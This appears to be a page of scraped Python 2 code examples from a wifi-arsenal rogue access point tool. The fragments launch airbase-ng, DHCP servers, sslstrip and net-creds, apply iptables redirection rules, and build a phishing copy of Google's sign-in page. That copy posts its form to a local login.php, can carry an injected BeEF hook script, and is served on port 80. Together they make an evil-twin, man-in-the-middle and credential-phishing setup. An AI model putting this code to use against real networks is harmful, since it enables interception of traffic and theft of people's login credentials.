                'sudo', 'dhcpd', '-d', '-f', '-cf', '/etc/dhcp/dhcpd.conf',
                self.Ap_iface
            ])
            self.connect(Thread_dhcp, SIGNAL('Activated ( QString ) '),
                         self.dhcpLog)
            Thread_dhcp.setObjectName('DHCP')
            self.Apthreads['RougeAP'].append(Thread_dhcp)
            Thread_dhcp.start()

        elif selected_dhcp == 'dnsmasq':
            Thread_dhcp = ThRunDhcp(
                ['dnsmasq', '-C', 'Settings/dnsmasq.conf', '-d'])
            self.connect(Thread_dhcp, SIGNAL('Activated ( QString ) '),
                         self.dhcpLog)
            Thread_dhcp.setObjectName('DHCP')
            self.Apthreads['RougeAP'].append(Thread_dhcp)
            Thread_dhcp.start()
        else:
            return QMessageBox.information(self, 'DHCP',
                                           selected_dhcp + ' not found.')
        self.Started(True)

        # thread plugins
        if self.PopUpPlugins.check_sslstrip.isChecked():
            Thread_sslstrip = Threadsslstrip(self.PortRedirect)
            Thread_sslstrip.setObjectName("sslstrip")
            self.Apthreads['RougeAP'].append(Thread_sslstrip)
            Thread_sslstrip.start()

        if self.PopUpPlugins.check_netcreds.isChecked():
            Thread_netcreds = ProcessThread([
                'python', 'Plugins/net-creds/net-creds.py', '-i',
                self.FSettings.xmlSettings('netcreds', 'interface', None,
                                           False)
            ])
            Thread_netcreds.setName('Net-Creds')
            self.Apthreads['RougeAP'].append(Thread_netcreds)
            Thread_netcreds.start()

        iptables = []
        for index in xrange(self.FSettings.ListRules.count()):
            iptables.append(str(self.FSettings.ListRules.item(index).text()))
        for rules in iptables:
            if search('PREROUTING -p udp -j DNAT --to', rules):
                popen(rules.replace('$$', str(self.EditGateway.text())))
            elif search('--append FORWARD --in-interface', rules):
                popen(rules.replace('$$', self.Ap_iface))
            elif search('--append POSTROUTING --out-interface', rules):
                popen(
                    rules.replace('$$',
                                  str(Refactor.get_interfaces()['activated'])))
            else:
                popen(rules)
예제 #16
0
파일: Main.py 프로젝트: uippet/wifi-arsenal
    def StartApFake(self):
        self.ListLoggerDhcp.clear()
        if geteuid() != 0:
            QMessageBox.warning(self,'Error permission','Run as root ')
            return
        if len(self.selectCard.currentText()) == 0:
            QMessageBox.warning(self,'Error interface','Network interface not supported :(')
            return
        dhcp_select = self.config.xmlSettings('dhcp','dhcp_server',None,False)
        if dhcp_select != 'dnsmasq':
            if not self.m[3]:
                QMessageBox.warning(self,'Error dhcp','isc-dhcp-server not installed')
                return
        else:
            if not self.m[4]:
                QMessageBox.information(self,'Error dhcp','dnsmasq not installed')
                return
        self.interface = str(set_monitor_mode(self.selectCard.currentText()).setEnable())
        self.config.xmlSettings('interface', 'monitor_mode',self.interface,False)
        # airbase thread
        Thread_airbase = ProcessThread(['airbase-ng',
        '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(),
        '-F', 'Logs/'+asctime(),self.interface])
        Thread_airbase.name = 'Airbase-ng'
        self.Apthreads['RougeAP'].append(Thread_airbase)
        Thread_airbase.start()

        # settings conf
        while True:
            if Thread_airbase.iface != None:
                self.Ap_iface = [x for x in Refactor.get_interfaces()['all'] if search('at',x)][0]
                self.config.xmlSettings('netcreds', 'interface',self.Ap_iface,False)
                break

        # thread netcreds
        Thread_netcreds = ProcessThread(['python','Plugins/NetCreds.py','-i',
        self.config.xmlSettings('netcreds', 'interface',None,False)])
        Thread_netcreds.setName('Net-Creds')
        self.Apthreads['RougeAP'].append(Thread_netcreds)
        Thread_netcreds.start()
        p = Process(target=self.CoreSettings,args=())
        p.start(),p.join()

        # thread dhcp
        selected_dhcp = self.config.xmlSettings('dhcp','dhcp_server',None,False)
        if selected_dhcp == 'iscdhcpserver':
            Thread_dhcp = ThRunDhcp(['sudo','dhcpd','-d','-f','-cf','/etc/dhcp/dhcpd.conf',self.Ap_iface])
            self.connect(Thread_dhcp,SIGNAL('Activated ( QString ) '), self.dhcpLog)
            Thread_dhcp.setObjectName('DHCP')
            self.Apthreads['RougeAP'].append(Thread_dhcp)
            Thread_dhcp.start()
            self.Started(True)
        elif selected_dhcp == 'dnsmasq':
            Thread_dhcp = ThRunDhcp(['dnsmasq','-C','Settings/dnsmasq.conf','-d'])
            self.connect(Thread_dhcp ,SIGNAL('Activated ( QString ) '), self.dhcpLog)
            Thread_dhcp .setObjectName('DHCP')
            self.Apthreads['RougeAP'].append(Thread_dhcp)
            Thread_dhcp .start()
            self.Started(True)
        else:
            QMessageBox.information(self,'DHCP','dhcp not found.')
        # thread sslstrip
        Thread_sslstrip = Threadsslstrip(self.PortRedirect)
        Thread_sslstrip.setObjectName("sslstrip")
        self.Apthreads['RougeAP'].append(Thread_sslstrip)
        Thread_sslstrip.start()
        iptables = []
        for index in xrange(self.FSettings.ListRules.count()):
           iptables.append(str(self.FSettings.ListRules.item(index).text()))
        for rules in iptables:
            if search('PREROUTING -p udp -j DNAT --to',rules):
                popen(rules.replace('$$',str(self.EditGateway.text())))
            elif search('--append FORWARD --in-interface',rules):popen(rules.replace('$$',self.Ap_iface))
            elif search('--append POSTROUTING --out-interface',rules):
                popen(rules.replace('$$',str(Refactor.get_interfaces()['activated'])))
            else:
                popen(rules)
예제 #17
0
                self.html = request.replace(
                    'https://accounts.google.com/ServiceLoginAuth',
                    'login.php')
                if self.check_beef.isChecked() and len(
                        self.EditBeef.text()) != 0:
                    self.hook = '<script type="text/javascript" src="%s"></script>' % self.EditBeef.text(
                    )
                    html_final = Beef_Hook_url(self.html, self.hook)
                    if html_final != None:
                        self.html = html_final
                    else:
                        QMessageBox.information(
                            self, 'Error Hook Inject Page',
                            'Hook Url not injected, not found tag "<body>"')
                with open('index.html', 'w') as f:
                    f.write(str(self.html))
                    f.close()
            except OSError, e:
                return None

        ip = str(self.txt_redirect.text())
        popen('service apache2 stop')
        if ip != None:
            Tphishing = ProcessThread(['php', '-S', ip + ':80'])
            Tphishing.setName('Phishing:' + choice)
            threadloading['template'].append(Tphishing)
            Tphishing.start()
            self.emit(SIGNAL('Activated( QString )'), 'started')
        else:
            QMessageBox.information(self, 'Connection', 'Ipaddress not found')